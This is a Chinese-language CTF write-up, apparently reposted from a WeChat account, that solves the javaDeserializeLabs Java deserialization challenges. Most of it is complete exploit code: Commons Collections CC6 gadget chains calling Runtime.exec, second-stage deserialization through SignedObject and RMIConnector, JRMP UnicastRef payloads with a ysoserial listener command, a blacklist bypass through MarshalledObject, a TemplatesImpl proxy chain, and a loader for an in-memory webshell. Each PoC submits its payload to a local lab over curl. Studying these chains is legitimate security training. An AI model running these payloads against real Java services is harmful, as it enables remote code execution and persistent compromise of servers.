Java Deserialize Labs

渗透技巧 1年前 (2023) admin
494 0 0

项目地址:javaDeserializeLabs

Lab1

反编译后很简单

Java Deserialize Labs

Calc

package com.yxxx.javasec.deserialize;
import java.io.Serializable;

public class Calc implements Serializable {
private boolean canPopCalc = true;
private String cmd = "calc";
}

poc

import com.yxxx.javasec.deserialize.Calc;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;

public class poc {
public static void main(String[] args) throws Exception {
Calc calc = new Calc();
String payload = objectToHexString(calc);
System.out.println(payload);
}

public static String bytesTohexString(byte[] bytes) {
if (bytes == null) {
return null;
} else {
StringBuilder ret = new StringBuilder(2 * bytes.length);

for(int i = 0; i < bytes.length; ++i) {
int b = 15 & bytes[i] >> 4;
ret.append("0123456789abcdef".charAt(b));
b = 15 & bytes[i];
ret.append("0123456789abcdef".charAt(b));
}

return ret.toString();
}
}

public static String objectToHexString(Object obj) throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream out = null;
out = new ObjectOutputStream(bos);
out.writeObject(obj);
out.flush();
byte[] bytes = bos.toByteArray();
bos.close();
String hex = bytesTohexString(bytes);
return hex;
}
}

Lab2

存在CC依赖,加了两个条件判断readUTF和readInt

Java Deserialize Labs

在将对象转为字节流时加上UTF以及Int

exp

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class poc {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map<Object, Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
Map<Object,Object> hashmap = new HashMap<>();
hashmap.put(tiedMapEntry,"bbb");
lazymap.remove("aaa");

Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,chainedTransformer);

String payload = objectToHexString(hashmap);
Runtime.getRuntime().exec("curl http://127.0.0.1:8080/basic?data="+payload);

}

public static String bytesTohexString(byte[] bytes) {
if (bytes == null) {
return null;
} else {
StringBuilder ret = new StringBuilder(2 * bytes.length);

for(int i = 0; i < bytes.length; ++i) {
int b = 15 & bytes[i] >> 4;
ret.append("0123456789abcdef".charAt(b));
b = 15 & bytes[i];
ret.append("0123456789abcdef".charAt(b));
}
return ret.toString();
}
}

public static String objectToHexString(Object obj) throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream out = null;
out = new ObjectOutputStream(bos);
out.writeUTF("SJTU"); // 加入UTF
out.writeInt(1896); // 加入Int
out.writeObject(obj);
out.flush();
byte[] bytes = bos.toByteArray();
bos.close();
String hex = bytesTohexString(bytes);
return hex;
}
}

Lab3

存在cc依赖,但是利用自己编写了个MyObjectInputStream代替ObjectInputStream

Java Deserialize Labs

看一下是怎么处理的,resolveClass通过 URLClassLoader.loadClass 

进行加载类,这里就有问题了,这种类加载方式不支持加载数组。

Java Deserialize Labs

利用 CC依赖中的InvokerTransformer实现任意方法调用,构造方法如下,由于数组无法被加载,所以调用的方法必须为无参,该方法达到的目的 要么是RCE,要么 是可以二次反序列化

private InvokerTransformer(String methodName) {
this.iMethodName = methodName;
this.iParamTypes = null;
this.iArgs = null;
}

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}

SignedObject

参考:二次反序列化 看我一命通关 – 跳跳糖 (tttang.com),利用链如下

HashMap.readObject->HashMap.hash->TiedMapEntry.hashcode->LazyMap.get->InvokerTransformer.transform->SignedObject.getObject

exp,打cc6

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class exp {
public static HashMap CC6() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map<Object, Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
Map<Object,Object> hashmap = new HashMap<>();
hashmap.put(tiedMapEntry,"bbb");
lazymap.remove("aaa");

Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,chainedTransformer);

return (HashMap) hashmap;
}
}

poc


import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.HashMap;
import java.util.Map;

public class poc {
public static void main(String[] args) throws Exception {
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(exp.CC6(), kp.getPrivate(), Signature.getInstance("DSA"));

InvokerTransformer invokerTransformer = new InvokerTransformer("getObject", null, null);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, signedObject);

HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "Poria");
lazyMap.remove(signedObject);
setFieldValue(lazyMap,"factory", invokerTransformer);

String payload = objectToHexString(expMap);
Runtime.getRuntime().exec("curl http://127.0.0.1:8080/basic?data="+payload);

}

public static String bytesTohexString(byte[] bytes) {
if (bytes == null) {
return null;
} else {
StringBuilder ret = new StringBuilder(2 * bytes.length);
for(int i = 0; i < bytes.length; ++i) {
int b = 15 & bytes[i] >> 4;
ret.append("0123456789abcdef".charAt(b));
b = 15 & bytes[i];
ret.append("0123456789abcdef".charAt(b));
}
return ret.toString();
}
}

public static String objectToHexString(Object obj) throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream out = null;
out = new ObjectOutputStream(bos);
out.writeUTF("SJTU");
out.writeInt(1896);
out.writeObject(obj);
out.flush();
byte[] bytes = bos.toByteArray();
bos.close();
String hex = bytesTohexString(bytes);
return hex;
}

public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}
}

RMIConnector

参考:二次反序列化 看我一命通关 – 跳跳糖 (tttang.com),利用链如下

HashMap.readObject->HashMap.hash->TiedMapEntry.hashcode->LazyMap.get->InvokerTransformer.transform->RMIConnector.connect

exp,打cc6

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class exp {
public static String CC6() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map<Object, Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
Map<Object,Object> hashmap = new HashMap<>();
hashmap.put(tiedMapEntry,"bbb");
lazymap.remove("aaa");

Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,chainedTransformer);

return serialize(hashmap);

}

public static String serialize(Object obj) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
String base64 = new String(Base64.getEncoder().encode(baos.toByteArray()));
System.out.println(base64);
return base64;
}
}

poc,利用 RMIConnector

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;


public class poc {
public static void main(String[] args) throws Exception {

JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL, "urlPath", "/stub/"+exp.CC6());
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);

InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, rmiConnector);

HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "Poria");
lazyMap.remove(rmiConnector);
setFieldValue(lazyMap,"factory", invokerTransformer);

String payload = objectToHexString(expMap);
Runtime.getRuntime().exec("curl http://127.0.0.1:8080/basic?data="+payload);

}

public static String bytesTohexString(byte[] bytes) {
if (bytes == null) {
return null;
} else {
StringBuilder ret = new StringBuilder(2 * bytes.length);
for(int i = 0; i < bytes.length; ++i) {
int b = 15 & bytes[i] >> 4;
ret.append("0123456789abcdef".charAt(b));
b = 15 & bytes[i];
ret.append("0123456789abcdef".charAt(b));
}
return ret.toString();
}
}

public static String objectToHexString(Object obj) throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream out = null;
out = new ObjectOutputStream(bos);
out.writeUTF("SJTU");
out.writeInt(1896);
out.writeObject(obj);
out.flush();
byte[] bytes = bos.toByteArray();
bos.close();
String hex = bytesTohexString(bytes);
return hex;
}

public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}
}

JRMP

除了二次反序列化,还有利用JRMP协议,具体就是RMI反序列化那篇文章的内容,这里记录一下打法

ysoserial 开启一个 JRMPListener

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections6 "calc"

poc

import sun.rmi.server.UnicastRef;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.RemoteObjectInvocationHandler;

public class poc {
public static void main(String[] args) throws Exception {
//获取UnicastRef对象
String jrmpListenerHost = "127.0.0.1";
int jrmpListenerPort = 9999;
UnicastRef ref = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);

//通过构造函数封装进入RemoteObjectInvocationHandler
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);

//使用动态代理改变obj的类型变为Registry,这是Remote类型的子类
//所以接下来bind可以填入proxy
Registry proxy = (Registry) Proxy.newProxyInstance(poc.class.getClassLoader(),
new Class[]{Registry.class}, obj);

ByteArrayOutputStream ser = new ByteArrayOutputStream();
ObjectOutputStream oser = new ObjectOutputStream(ser);
oser.writeUTF("SJTU");
oser.writeInt(1896);
oser.writeObject(proxy);
oser.close();

String payload = bytesTohexString(ser.toByteArray());
Runtime.getRuntime().exec("curl http://127.0.0.1:8080/basic?data="+payload);

}

public static UnicastRef generateUnicastRef(String host, int port) {
java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
return new sun.rmi.server.UnicastRef(liveRef);
}

public static String bytesTohexString(byte[] bytes) {
if (bytes == null) {
return null;
} else {
StringBuilder ret = new StringBuilder(2 * bytes.length);
for(int i = 0; i < bytes.length; ++i) {
int b = 15 & bytes[i] >> 4;
ret.append("0123456789abcdef".charAt(b));
b = 15 & bytes[i];
ret.append("0123456789abcdef".charAt(b));
}
return ret.toString();
}
}

}

本地没能命令执行。

Java Deserialize Labs

Lab4

不出网,其他同Lab3,记录一下内存马.

exp

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class exp {
public static HashMap shell() throws Exception {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQA7QoAOQC..."); //内存马的base64
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "aaa");
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());


InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);

HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "Poria");
lazyMap.remove(templates);
setFieldValue(lazyMap,"factory", invokerTransformer);

return expMap;

}

public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}

}

poc

import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;

import java.util.HashMap;
import java.util.Map;

public class poc {
public static void main(String[] args) throws Exception {
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(exp.shell(), kp.getPrivate(), Signature.getInstance("DSA"));

InvokerTransformer invokerTransformer = new InvokerTransformer("getObject", null, null);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, signedObject);

HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "Poria");
lazyMap.remove(signedObject);
setFieldValue(lazyMap,"factory", invokerTransformer);

String payload = objectToHexString(expMap);
Runtime.getRuntime().exec("curl http://127.0.0.1:8080/basic?data="+payload);

}

public static String bytesTohexString(byte[] bytes) {
if (bytes == null) {
return null;
} else {
StringBuilder ret = new StringBuilder(2 * bytes.length);
for(int i = 0; i < bytes.length; ++i) {
int b = 15 & bytes[i] >> 4;
ret.append("0123456789abcdef".charAt(b));
b = 15 & bytes[i];
ret.append("0123456789abcdef".charAt(b));
}
return ret.toString();
}
}

public static String objectToHexString(Object obj) throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream out = null;
out = new ObjectOutputStream(bos);
out.writeUTF("SJTU");
out.writeInt(1896);
out.writeObject(obj);
out.flush();
byte[] bytes = bos.toByteArray();
bos.close();
String hex = bytesTohexString(bytes);
return hex;
}

public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}
}

Lab5

在 MyObjectInputStream 中重写了 resolveClass 和 resolveProxyClass 方法,将org.apache.commons.collections.functors 和java.rmi.server 加入了黑名单,来防御反序列化。

Java Deserialize Labs

不过还给了一个 MarshalledObject类,该类提供了一个 readResolve 

方法进行反序列化操作。

Java Deserialize Labs

图为ObjectInputstream在反序列化对象时的函数调用关系,橙色部分是调用readObject或readExternal函数后执行的代码。当反序列化的类存在 readResolve 方法时,就会进行调用。

Java Deserialize Labs

所以直接修改bytes即可

poc

import com.yxxx.javasec.deserialize.MarshalledObject;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;


import java.util.HashMap;
import java.util.Map;

public class poc {
public static void main(String[] args) throws Exception {
MarshalledObject marshalledObject = new MarshalledObject();

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(getObject());
oos.close();
setFieldValue(marshalledObject,"bytes",baos.toByteArray()); //转成byte写入marshalled中的bytes属性

String payload = objectToHexString(marshalledObject);
System.out.println(payload);
Runtime.getRuntime().exec("curl http://127.0.0.1:8080/basic?data="+payload);

}

public static HashMap getObject() throws IllegalAccessException, NoSuchFieldException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map<Object, Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
Map<Object,Object> hashmap = new HashMap<>();
hashmap.put(tiedMapEntry,"bbb");
lazymap.remove("aaa");

Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,chainedTransformer);
return (HashMap) hashmap;
}

public static String bytesTohexString(byte[] bytes) {
if (bytes == null) {
return null;
} else {
StringBuilder ret = new StringBuilder(2 * bytes.length);
for(int i = 0; i < bytes.length; ++i) {
int b = 15 & bytes[i] >> 4;
ret.append("0123456789abcdef".charAt(b));
b = 15 & bytes[i];
ret.append("0123456789abcdef".charAt(b));
}
return ret.toString();
}
}

public static String objectToHexString(Object obj) throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bos);
out.writeUTF("SJTU");
out.writeInt(1896);
out.writeObject(obj);
out.flush();
byte[] bytes = bos.toByteArray();
bos.close();
String hex = bytesTohexString(bytes);
return hex;
}

public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}
}

Lab6-8

JRMP打二次反序列化,麻烦就过了,记录两个poc

直接反序列化UnicastRef,进而调用sum.rmi.server.UnicastRef#readExternal

poc

import sun.rmi.server.UnicastRef;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.rmi.activation.Activator;
import java.rmi.registry.Registry;
import java.rmi.server.RemoteObjectInvocationHandler;
public class lab6exp {
public static UnicastRef generateUnicastRef(String host, int port) {
java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
return new sun.rmi.server.UnicastRef(liveRef);
}

public static void main(String[] args) throws Exception{
//获取UnicastRef对象
String jrmpListenerHost = "ip";
int jrmpListenerPort = 7777;
UnicastRef ref = generateUnicastRef(jrmpListenerHost, jrmpListenerPort);

ByteArrayOutputStream ser = new ByteArrayOutputStream();
ObjectOutputStream oser = new ObjectOutputStream(ser);
oser.writeUTF("SJTU");
oser.writeInt(1896);
oser.writeObject(ref);
oser.close();

System.out.println(bytesTohexString(ser.toByteArray()));
}

public static String bytesTohexString(byte[] bytes) {
if (bytes == null)
return null;
StringBuilder ret = new StringBuilder(2 * bytes.length);
for (int i = 0; i < bytes.length; i++) {
int b = 0xF & bytes[i] >> 4;
ret.append("0123456789abcdef".charAt(b));
b = 0xF & bytes[i];
ret.append("0123456789abcdef".charAt(b));
}
return ret.toString();
}
}

Lab9-proxy

  • InvocationHandler

Java Deserialize Labs

这里只要调用invoke,然后设置typeTemplatesImpl就可以触发了。然后根据jdk7知道,当反序列化遇到代理时,且代理实例化为接口,会调用handlerinvoke方法。然后还不能在无参函数时触发。可以想到compare方法,这个在PriorityQueue类触发。所以在PriorityQueue里面塞个代理,就可以触发invoke了.

poc

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.Comparator;
import java.util.PriorityQueue;
import com.yxxx.javasec.deserialize.MyInvocationHandler;

public class poc {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get(Code.class.getName());
byte[] bytes = ctClass.toBytecode();
TemplatesImpl ti = new TemplatesImpl();
setField(ti, "_name", "asd");
setField(ti, "_bytecodes", new byte[][]{bytes});
setField(ti, "_tfactory", new TransformerFactoryImpl());
PriorityQueue priorityQueue = new PriorityQueue(1);
priorityQueue.add(2);
priorityQueue.add(3);//要加两个东西进去才能成功
setField(priorityQueue, "queue", new Object[]{ti, 1});
InvocationHandler mih = new MyInvocationHandler();
setField(mih, "type", Templates.class);
Comparator comparator = (Comparator) Proxy.newProxyInstance(poc.class.getClassLoader(), new Class[]{Comparator.class}, mih);
setField(priorityQueue, "comparator", comparator);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(priorityQueue);
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
}

public static void setField(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

Code

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Code extends AbstractTranslet{
public Code() throws IOException {
Runtime.getRuntime().exec("calc");
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

参考

JavaDerserializeLabs

原文始发于微信公众号(Arr3stY0u):Java Deserialize Labs

版权声明:admin 发表于 2023年3月5日 下午12:14。
转载请注明:Java Deserialize Labs | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...